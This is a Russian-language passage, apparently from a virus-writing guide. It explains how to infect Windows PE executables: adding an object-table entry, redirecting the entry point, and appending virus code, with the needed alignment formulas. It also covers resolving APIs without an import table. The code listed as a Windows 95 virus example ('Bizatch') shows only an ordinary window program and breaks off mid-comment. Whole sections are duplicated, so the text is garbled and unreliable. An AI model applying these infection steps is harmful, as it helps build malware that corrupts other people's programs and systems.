На первый взгляд кажется, что достаточно лишь сохранить в стеке описатель DLL-модуля (он стоит перед указателем на имя функции) и вызвать API. Но это не так. Параметры, согласно Pascal Calling Convention, должны быть сохранены в стеке в обратном порядке:
push offset lpszProc
push dword ptr [hModule]
call GetProcAddress
Используя 32-битный отладчик, можно оттрассировать вызов и найти вызов KERNEL32 для каждого конкретного случая. Это позволит получить номер функции и обойтись без необходимой для вызова таблицы импортируемых имен.
FARPROC GetProcAddress(
HMODULE hModule, // описатель DLL−модуля
LPCSTR lpszProc // имя функции
);
На первый взгляд кажется, что достаточно лишь сохранить в стеке описатель DLL-модуля (он стоит перед указателем на имя функции) и вызвать API. Но это не так. Параметры, согласно Pascal Calling Convention, должны быть сохранены в стеке в обратном порядке:
push offset lpszProc
push dword ptr [hModule]
call GetProcAddress
Используя 32-битный отладчик, можно оттрассировать вызов и найти вызов KERNEL32 для каждого конкретного случая. Это позволит получить номер функции и обойтись без необходимой для вызова таблицы импортируемых имен.
Заражение файлов формата PE-executable
Определение положения начала PE-заголовка происходит аналогично поиску начала NE-заголовка. Если смещение таблицы настройки адресов (поле 18h) в заголовке EXE-файла 40h или больше, то по смещению 3Ch находится смещение PE-executable заголовка. Сигнатура PE-executable («PE») находится, как и у NE-executable EXE-файла, в начале нового заголовка.
Внутри PE-заголовка находится таблица объектов. Ее формат наиболее важен по сравнению с прочими. Для добавления вирусного кода в носитель и перехвата вирусом управления необходимо добавить элемент в таблицу объектов.
Основные действия заражения PE-executable файла:
1. Найти смещение заголовка PE-executable в файле.
2. Считать достаточное количество информации из заголовка для вычисления его полного размера.
3. Считать весь PE-заголовок и таблицу объектов.
4. Добавить новый объект в таблицу объектов.
5. Установить точку входа RVA на новый объект.
6. Дописать вирус к файлу по вычисленному физическому смещению.
7. Записать измененный PE-заголовок в файл.
Для определения расположения таблицы объектов следует воспользоваться значением переменной «HeaderSize» (не путать с «NT headersize»), которая содержит совместный размер заголовков DOS, PE и таблицы объектов.
Для чтения таблицы объектов необходимо считать HeaderSize байт от начала файла.
Таблица объектов расположена непосредственно за NT-заголовком. Значение «NTheadersize» показывает количество байт, следующих за полем «flags». Итак, для определения смещения таблицы объектов нужно получить NTheaderSize и добавить размер поля флагов (24).
Добавление объекта: получив количество объектов, умножить его на 40 (размер элемента таблицы объектов). Таким образом определяется смещение, по которому будет расположен вирус.
Данные для элемента таблицы объектов должны быть вычислены с использованием информации в предыдущем элементе (элементе носителя).
RVA=((prev RVA+prev Virtual Size)/OBJ Alignment+1)
*OBJ Alignment
Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1)
*OBJ Alignment
Physical Size=(size of virus/File Alignment+1)*File Alignment
Physical Offset=prev Physical Offset+prev Physical Size
Object Flags=db 40h,0,0,C0h
Entrypoint RVA=RVA
Теперь необходимо увеличить на единицу поле «количество объектов» и записать код вируса по вычисленному «физическому смещению» в размере «физического размера» байт.
Внутри PE-заголовка находится таблица объектов. Ее формат наиболее важен по сравнению с прочими. Для добавления вирусного кода в носитель и перехвата вирусом управления необходимо добавить элемент в таблицу объектов.
Основные действия заражения PE-executable файла:
1. Найти смещение заголовка PE-executable в файле.
2. Считать достаточное количество информации из заголовка для вычисления его полного размера.
3. Считать весь PE-заголовок и таблицу объектов.
4. Добавить новый объект в таблицу объектов.
5. Установить точку входа RVA на новый объект.
6. Дописать вирус к файлу по вычисленному физическому смещению.
7. Записать измененный PE-заголовок в файл.
Для определения расположения таблицы объектов следует воспользоваться значением переменной «HeaderSize» (не путать с «NT headersize»), которая содержит совместный размер заголовков DOS, PE и таблицы объектов.
Для чтения таблицы объектов необходимо считать HeaderSize байт от начала файла.
Таблица объектов расположена непосредственно за NT-заголовком. Значение «NTheadersize» показывает количество байт, следующих за полем «flags». Итак, для определения смещения таблицы объектов нужно получить NTheaderSize и добавить размер поля флагов (24).
Добавление объекта: получив количество объектов, умножить его на 40 (размер элемента таблицы объектов). Таким образом определяется смещение, по которому будет расположен вирус.
Данные для элемента таблицы объектов должны быть вычислены с использованием информации в предыдущем элементе (элементе носителя).
RVA=((prev RVA+prev Virtual Size)/OBJ Alignment+1)
*OBJ Alignment
Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1)
*OBJ Alignment
Physical Size=(size of virus/File Alignment+1)*File Alignment
Physical Offset=prev Physical Offset+prev Physical Size
Object Flags=db 40h,0,0,C0h
Entrypoint RVA=RVA
Теперь необходимо увеличить на единицу поле «количество объектов» и записать код вируса по вычисленному «физическому смещению» в размере «физического размера» байт.
Пример вируса под Windows 95
.386
locals
jumps
.model flat,STDCALL
include win32.inc ;некоторые 32−битные константы и структуры
L equ <LARGE>
;Определим внешние функции, к которым будет подключаться вирус
extrn BeginPaint:PROC
extrn CreateWindowExA:PROC
extrn DefWindowProcA:PROC
extrn DispatchMessageA:PROC
extrn EndPaint:PROC
extrn ExitProcess:PROC
extrn FindWindowA:PROC
extrn GetMessageA:PROC
extrn GetModuleHandleA:PROC
extrn GetStockObject:PROC
extrn InvalidateRect:PROC
extrn LoadCursorA:PROC
extrn LoadIconA:PROC
extrn MessageBeep:PROC
extrn PostQuitMessage:PROC
extrn RegisterClassA:PROC
extrn ShowWindow:PROC
extrn SetWindowPos:PROC
extrn TextOutA:PROC
extrn TranslateMessage:PROC
extrn UpdateWindow:PROC
;Для поддержки Unicode Win32 интерпретирует некоторые функции
;для ANSI или расширенного набора символов.
;В качестве примера рассмотрим ANSI
CreateWindowEx equ <CreateWindowExA>
DefWindowProc equ <DefWindowProcA>
DispatchMessage equ <DispatchMessageA>
FindWindow equ <FindWindowA>
GetMessage equ <GetMessageA>
GetModuleHandle equ <GetModuleHandleA>
LoadCursor equ <LoadCursorA>
LoadIcon equ <LoadIconA>
MessageBox equ <MessageBoxA>
RegisterClass equ <RegisterClassA>
TextOut equ <TextOutA>
.data
newhwnd dd 0
lppaint PAINTSTRUCT <?>
msg MSGSTRUCT <?>
wc WNDCLASS <?>
mbx_count dd 0
hInst dd 0
szTitleName db ”Bizatch by Quantum / VLAD activated”
zero db 0
szAlternate db ”more than once”,0
szClassName db ”ASMCLASS32”,0
;Сообщение, выводимое в окне
szPaint db ”Left Button pressed:”
s_num db ”00000000h times.”,0
;Размер сообщения
MSG_L EQU ($−offset szPaint)−1
.code
;Сюда обычно передается управление от загрузчика.
start:
;Получим HMODULE
push L 0
call GetModuleHandle
mov [hInst],eax
push L 0
push offset szClassName
call FindWindow
or eax,eax
jz reg_class
;Пространство для модификации строки заголовка
mov [zero],” ”
reg_class:
;Инициализируем структуру WndClass
mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS
mov [wc.clsLpfnWndProc],offset WndProc
mov [wc.clsCbClsExtra],0
mov [wc.clsCbWndExtra],0
mov eax,[hInst]
mov [wc.clsHInstance], eax
;Загружаем значок
push L IDI_APPLICATION
push L 0
call LoadIcon
mov [wc.clsHIcon], eax
;Загружаем курсор
push L IDC_ARROW
push L 0
call LoadCursor
mov [wc.clsHCursor], eax
;Инициализируем оставшиеся поля структуры WndClass
mov [wc.clsHbrBackground],COLOR_WINDOW+1
mov dword ptr [wc.clsLpszMenuName],0
mov dword ptr [wc.clsLpszClassName],offset szClassName
;Регистрируем класс окна
push offset wc
call RegisterClass
;Создаем окно
push L 0 ;lpParam
push [hInst] ;hInstance
push L 0 ;Меню
push L 0 ;hwnd родительского
окна
push L CW_USEDEFAULT ;Высота
push L CW_USEDEFAULT ;Длина
push L CW_USEDEFAULT ;Y
push L CW_USEDEFAULT ;X
push L WS_OVERLAPPEDWINDOW ;Style
push offset szTitleName ;Title Style
push offset szClassName ;Class name
push L 0 ;extra style
call CreateWindowEx
;Сохраняем HWND
mov [newhwnd], eax
;Отображаем окно на экране
push L SW_SHOWNORMAL
push [newhwnd]
call ShowWindow
;Обновляем содержимое окна
push [newhwnd]
call UpdateWindow
;Очередь сообщений
msg_loop:
;Прочитаем следующее сообщение из очереди
push L 0
push L 0
push L 0
push offset msg
call GetMessage
;Если функция GetMessage вернула нулевое значение, то завершаем
;обработку сообщений и выходим из процесса
cmp ax,0
je end_loop
;Преобразуем виртуальные коды клавиш в сообщения клавиатуры
push offset msg
call TranslateMessage
;Передаем это сообщение назад в Windows
push offset msg
call DispatchMessage
;Переходим к следующему сообщению
jmp msg_loop
;Выход из процесса
end_loop:
push [msg.msWPARAM]
call ExitProcess
;Обработка сообщений окна. Win32 требует сохранения регистров
;EBX, EDI, ESI. Запишем эти регистры после ”uses” в строке ”proc”.
;Это позволит Ассемблеру сохранить их
WndProc proc uses ebx edi esi, hwnd:DWORD, wmsg:DWORD, wparam:
DWORD, lparam:DWORD
LOCAL theDC:DWORD
;Проверим, какое сообщение получили, и перейдем к обработке
cmp [wmsg],WM_DESTROY
je wmdestroy
cmp [wmsg],WM_RBUTTONDOWN
je wmrbuttondown
cmp [wmsg],WM_SIZE
je wmsize
cmp [wmsg],WM_CREATE
je wmcreate
cmp [wmsg],WM_LBUTTONDOWN
je wmlbuttondown
cmp [wmsg],WM_PAINT
je wmpaint
cmp [wmsg],WM_GETMINMAXINFO
je wmgetminmaxinfo
;Данная программа не обрабатывает это сообщение.
;Передадим его Windows,
;чтобы оно было обработано по умолчанию
jmp defwndproc
;Сообщение WM_PAINT (перерисовать содержимое окна)
wmpaint:
;Подготовим окно для перерисовки
push offset lppaint
push [hwnd]
call BeginPaint
mov [theDC], eax
;Переведем в ASCII−формат значение mbx_count, которое
;показывает, сколько раз была нажата левая кнопка мыши
mov eax,[mbx_count]
mov edi, offset s_num
call HexWrite32
;Вывод строки в окно
push L MSG_L ;Длина строки
push offset szPaint ;Строка
push L 5 ;Y
push L 5 ;X
push [theDC] ;DC
call TextOut
;Обозначим завершение перерисовки окна
push offset lppaint
push [hwnd]
call EndPaint
;Выходим из обработки сообщения
mov eax, 0
jmp finish
;Сообщение WM_CREATE (создание окна)
wmcreate:
;Выходим из обработки сообщения
mov eax, 0
jmp finish
;Сообщение, не обрабатываемое данной программой, передаем Windows
defwndproc:
push [lparam]
push [wparam]
push [wmsg]
push [hwnd]
call DefWindowProc
;Выходим из обработки сообщения
jmp finish
;Сообщение WM_DESTROY (уничтожение окна)
wmdestroy:
;Закроем поток
push L 0
call PostQuitMessage
;Выходим из обработки сообщения
mov eax, 0
jmp finish
;Сообщение WM_LBUTTONDOWN (нажата левая кнопка мыши)
wmlbuttondown:
inc [mbx_count]
;Обновим содержимое окна
push L 0
push L 0
push [hwnd]
call InvalidateRect
;Выходим из обработки сообщения
mov eax, 0
jmp finish
;Сообщение WM_RBUTTONDOWN (нажата правая кнопка мыши)
wmrbuttondown:
push L 0
call MessageBeep
;Выходим из обработки сообщения
jmp finish
;Сообщение WM_SIZE (изменен размер окна)
wmsize:
;Выходим из обработки сообщения
mov eax, 0
jmp finish
;Сообщение WM_GETMINMAXINFO (попытка изменить размер
;или положение окна)
wmgetminmaxinfo:
;Заполним структуру MINMAXINFO
mov ebx, [lparam]
mov [(MINMAXINFO ptr ebx).mintrackposition_x],350
mov [(MINMAXINFO ptr ebx).mintrackposition_y],60
;Выходим из обработки сообщения
mov eax, 0
jmp finish
;Выходим из обработки сообщения
finish:
ret
WndProc endp
;Процедура перевода байта в ASCII−формат для печати. Значение,
;находящееся в регистре AL, будет записано в ASCII−формате
locals
jumps
.model flat,STDCALL
include win32.inc ;некоторые 32−битные константы и структуры
L equ <LARGE>
;Определим внешние функции, к которым будет подключаться вирус
extrn BeginPaint:PROC
extrn CreateWindowExA:PROC
extrn DefWindowProcA:PROC
extrn DispatchMessageA:PROC
extrn EndPaint:PROC
extrn ExitProcess:PROC
extrn FindWindowA:PROC
extrn GetMessageA:PROC
extrn GetModuleHandleA:PROC
extrn GetStockObject:PROC
extrn InvalidateRect:PROC
extrn LoadCursorA:PROC
extrn LoadIconA:PROC
extrn MessageBeep:PROC
extrn PostQuitMessage:PROC
extrn RegisterClassA:PROC
extrn ShowWindow:PROC
extrn SetWindowPos:PROC
extrn TextOutA:PROC
extrn TranslateMessage:PROC
extrn UpdateWindow:PROC
;Для поддержки Unicode Win32 интерпретирует некоторые функции
;для ANSI или расширенного набора символов.
;В качестве примера рассмотрим ANSI
CreateWindowEx equ <CreateWindowExA>
DefWindowProc equ <DefWindowProcA>
DispatchMessage equ <DispatchMessageA>
FindWindow equ <FindWindowA>
GetMessage equ <GetMessageA>
GetModuleHandle equ <GetModuleHandleA>
LoadCursor equ <LoadCursorA>
LoadIcon equ <LoadIconA>
MessageBox equ <MessageBoxA>
RegisterClass equ <RegisterClassA>
TextOut equ <TextOutA>
.data
newhwnd dd 0
lppaint PAINTSTRUCT <?>
msg MSGSTRUCT <?>
wc WNDCLASS <?>
mbx_count dd 0
hInst dd 0
szTitleName db ”Bizatch by Quantum / VLAD activated”
zero db 0
szAlternate db ”more than once”,0
szClassName db ”ASMCLASS32”,0
;Сообщение, выводимое в окне
szPaint db ”Left Button pressed:”
s_num db ”00000000h times.”,0
;Размер сообщения
MSG_L EQU ($−offset szPaint)−1
.code
;Сюда обычно передается управление от загрузчика.
start:
;Получим HMODULE
push L 0
call GetModuleHandle
mov [hInst],eax
push L 0
push offset szClassName
call FindWindow
or eax,eax
jz reg_class
;Пространство для модификации строки заголовка
mov [zero],” ”
reg_class:
;Инициализируем структуру WndClass
mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS
mov [wc.clsLpfnWndProc],offset WndProc
mov [wc.clsCbClsExtra],0
mov [wc.clsCbWndExtra],0
mov eax,[hInst]
mov [wc.clsHInstance], eax
;Загружаем значок
push L IDI_APPLICATION
push L 0
call LoadIcon
mov [wc.clsHIcon], eax
;Загружаем курсор
push L IDC_ARROW
push L 0
call LoadCursor
mov [wc.clsHCursor], eax
;Инициализируем оставшиеся поля структуры WndClass
mov [wc.clsHbrBackground],COLOR_WINDOW+1
mov dword ptr [wc.clsLpszMenuName],0
mov dword ptr [wc.clsLpszClassName],offset szClassName
;Регистрируем класс окна
push offset wc
call RegisterClass
;Создаем окно
push L 0 ;lpParam
push [hInst] ;hInstance
push L 0 ;Меню
push L 0 ;hwnd родительского
окна
push L CW_USEDEFAULT ;Высота
push L CW_USEDEFAULT ;Длина
push L CW_USEDEFAULT ;Y
push L CW_USEDEFAULT ;X
push L WS_OVERLAPPEDWINDOW ;Style
push offset szTitleName ;Title Style
push offset szClassName ;Class name
push L 0 ;extra style
call CreateWindowEx
;Сохраняем HWND
mov [newhwnd], eax
;Отображаем окно на экране
push L SW_SHOWNORMAL
push [newhwnd]
call ShowWindow
;Обновляем содержимое окна
push [newhwnd]
call UpdateWindow
;Очередь сообщений
msg_loop:
;Прочитаем следующее сообщение из очереди
push L 0
push L 0
push L 0
push offset msg
call GetMessage
;Если функция GetMessage вернула нулевое значение, то завершаем
;обработку сообщений и выходим из процесса
cmp ax,0
je end_loop
;Преобразуем виртуальные коды клавиш в сообщения клавиатуры
push offset msg
call TranslateMessage
;Передаем это сообщение назад в Windows
push offset msg
call DispatchMessage
;Переходим к следующему сообщению
jmp msg_loop
;Выход из процесса
end_loop:
push [msg.msWPARAM]
call ExitProcess
;Обработка сообщений окна. Win32 требует сохранения регистров
;EBX, EDI, ESI. Запишем эти регистры после ”uses” в строке ”proc”.
;Это позволит Ассемблеру сохранить их
WndProc proc uses ebx edi esi, hwnd:DWORD, wmsg:DWORD, wparam:
DWORD, lparam:DWORD
LOCAL theDC:DWORD
;Проверим, какое сообщение получили, и перейдем к обработке
cmp [wmsg],WM_DESTROY
je wmdestroy
cmp [wmsg],WM_RBUTTONDOWN
je wmrbuttondown
cmp [wmsg],WM_SIZE
je wmsize
cmp [wmsg],WM_CREATE
je wmcreate
cmp [wmsg],WM_LBUTTONDOWN
je wmlbuttondown
cmp [wmsg],WM_PAINT
je wmpaint
cmp [wmsg],WM_GETMINMAXINFO
je wmgetminmaxinfo
;Данная программа не обрабатывает это сообщение.
;Передадим его Windows,
;чтобы оно было обработано по умолчанию
jmp defwndproc
;Сообщение WM_PAINT (перерисовать содержимое окна)
wmpaint:
;Подготовим окно для перерисовки
push offset lppaint
push [hwnd]
call BeginPaint
mov [theDC], eax
;Переведем в ASCII−формат значение mbx_count, которое
;показывает, сколько раз была нажата левая кнопка мыши
mov eax,[mbx_count]
mov edi, offset s_num
call HexWrite32
;Вывод строки в окно
push L MSG_L ;Длина строки
push offset szPaint ;Строка
push L 5 ;Y
push L 5 ;X
push [theDC] ;DC
call TextOut
;Обозначим завершение перерисовки окна
push offset lppaint
push [hwnd]
call EndPaint
;Выходим из обработки сообщения
mov eax, 0
jmp finish
;Сообщение WM_CREATE (создание окна)
wmcreate:
;Выходим из обработки сообщения
mov eax, 0
jmp finish
;Сообщение, не обрабатываемое данной программой, передаем Windows
defwndproc:
push [lparam]
push [wparam]
push [wmsg]
push [hwnd]
call DefWindowProc
;Выходим из обработки сообщения
jmp finish
;Сообщение WM_DESTROY (уничтожение окна)
wmdestroy:
;Закроем поток
push L 0
call PostQuitMessage
;Выходим из обработки сообщения
mov eax, 0
jmp finish
;Сообщение WM_LBUTTONDOWN (нажата левая кнопка мыши)
wmlbuttondown:
inc [mbx_count]
;Обновим содержимое окна
push L 0
push L 0
push [hwnd]
call InvalidateRect
;Выходим из обработки сообщения
mov eax, 0
jmp finish
;Сообщение WM_RBUTTONDOWN (нажата правая кнопка мыши)
wmrbuttondown:
push L 0
call MessageBeep
;Выходим из обработки сообщения
jmp finish
;Сообщение WM_SIZE (изменен размер окна)
wmsize:
;Выходим из обработки сообщения
mov eax, 0
jmp finish
;Сообщение WM_GETMINMAXINFO (попытка изменить размер
;или положение окна)
wmgetminmaxinfo:
;Заполним структуру MINMAXINFO
mov ebx, [lparam]
mov [(MINMAXINFO ptr ebx).mintrackposition_x],350
mov [(MINMAXINFO ptr ebx).mintrackposition_y],60
;Выходим из обработки сообщения
mov eax, 0
jmp finish
;Выходим из обработки сообщения
finish:
ret
WndProc endp
;Процедура перевода байта в ASCII−формат для печати. Значение,
;находящееся в регистре AL, будет записано в ASCII−формате